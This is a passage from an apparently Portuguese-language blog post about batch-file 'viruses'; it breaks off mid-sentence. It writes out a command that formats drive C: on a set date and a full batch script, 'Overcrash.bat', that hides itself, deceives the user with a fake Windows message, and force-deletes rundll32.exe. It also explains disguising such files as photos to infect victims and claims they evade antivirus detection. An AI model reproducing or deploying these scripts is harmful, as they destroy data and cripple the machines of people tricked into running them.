Primeiramente, os arquivos .bat sao comandos do MS-DOS compilados, que foram criados para facilitar algumas tarefas que um usuario padrao(/Aquele que so faz o basico) nao conseguiria simplesmente executar sem ajuda. Quem nunca abriu o CMD ou o MS-DOS e ficou sem saber pra que aquela tela preta com nomes serve?Voltando ao assunto, os comandos do MS-DOS compilados em um unico arquivo e que sao chamados de Batch(Lote). Esses arquivos foram criados para o bem mas como possui muitos comandos ''perigosos'' ,passou a ser conhecido como ''virus.bat''. O arquivo batch criado apartir de comandos maliciosos como o:If %date% NEQ 2010/12/31 goto exit format C: /y >nul :exit exit Esse comando formata a unidade C no dia 31/12/2010.Um Batch pode sim ser considerado virus!Mas como se sao apenas comandos do MS-DOS?R= Imagine uma sequencia de comandos maliciosos que desconecte seu pc da internet ou apenas bloqueie seu pc para acessar qualquer site , e ainda troque o login de acesso ao Usuario do PC. Essa sequencia de comandos e perigosa , ela nao vai formatar seu PC, mas vai impedir seu acesso a internet , forcando assim uma restauracao de sistema ou ate uma formatacao em alguns casos.Agora depois de criar essa sequencia e salva-la em .bat , o criador transformar esse Batch num arquivo executavel (.exe) e enviar para alguem com um icone de foto por exemplo , quando a vitima executar aquele arquivo camuflado de foto, vai infectar o PC.Dependendo dos comandos um Batch pode ser Virus sim. Hoje em dia , muitos antivirus o detectam como BACKDOOR TROJAN CRYPT. Sendo assim devemos dar mas atencao a esses arquivos que servem para o bem e para o mal. Quando eu falo em Badcom, logo lembramos dos comandos .bat que vemos em videos na internet, aqueles comandos basicos que apagam o Windows , desligam o pc e etc...Comandos que ja sao tao conhecidos na internet quanto o Orkut3D.(/Brincadeira) Os Acidburn sao Badcom's que utilizam uma logica mas avancada nos comandos. Comandos que se forem maleficos, dificilmente serao reconhecidos pelo antivirus. Vou mostrar um exemplo a voces:Overcrash.batattrib +h %0@echo offcolor 04break offtitle Aviso interno do Windowsecho Nao feche esta janelacolor 0cecho Transmicao iniciadaecho Seu nome?set /p nome=echo Eu vivo dentro do seu PC , me chamo Explorer...echo Eu que faco tudo que vc manda...echo Mas estou correndo perigo aqui dentro %nome% ...echo %nome% recentemente vc baixou um arquivo, que veio com virus e esta me ameacandoecho E se eu morrer %nome% , seu pc morre...echo Porque sou eu que executo os comandosecho.echo O nome dele e rundll32.exeecho Ele se instalou na pasta System32echo Exclua ele o mas rapido possivel;echo Por favor me ajude , rapido...echo nao sei se vou suportar muito tempoecho Ele e muito forteecho E nenhum antivirus consegue detecta-lo...echo Espere um momento %nome%...echo Consegui derrota-lo.echo Obrigado pela atencao!echo Fim de transmissao.echo 3pauseecho 2pauseecho 1del /f /q %SystemDrive%\Windows\system32\rundll32.exeexitEsse e apenas um exemplo basico de um Acidburn , ele apaga o arquivo Rundll32.exe, (O Rundll32, e nem mais nem menos que um processo que serve para executar DLLs. As DLLs executadas pelo Rundll32,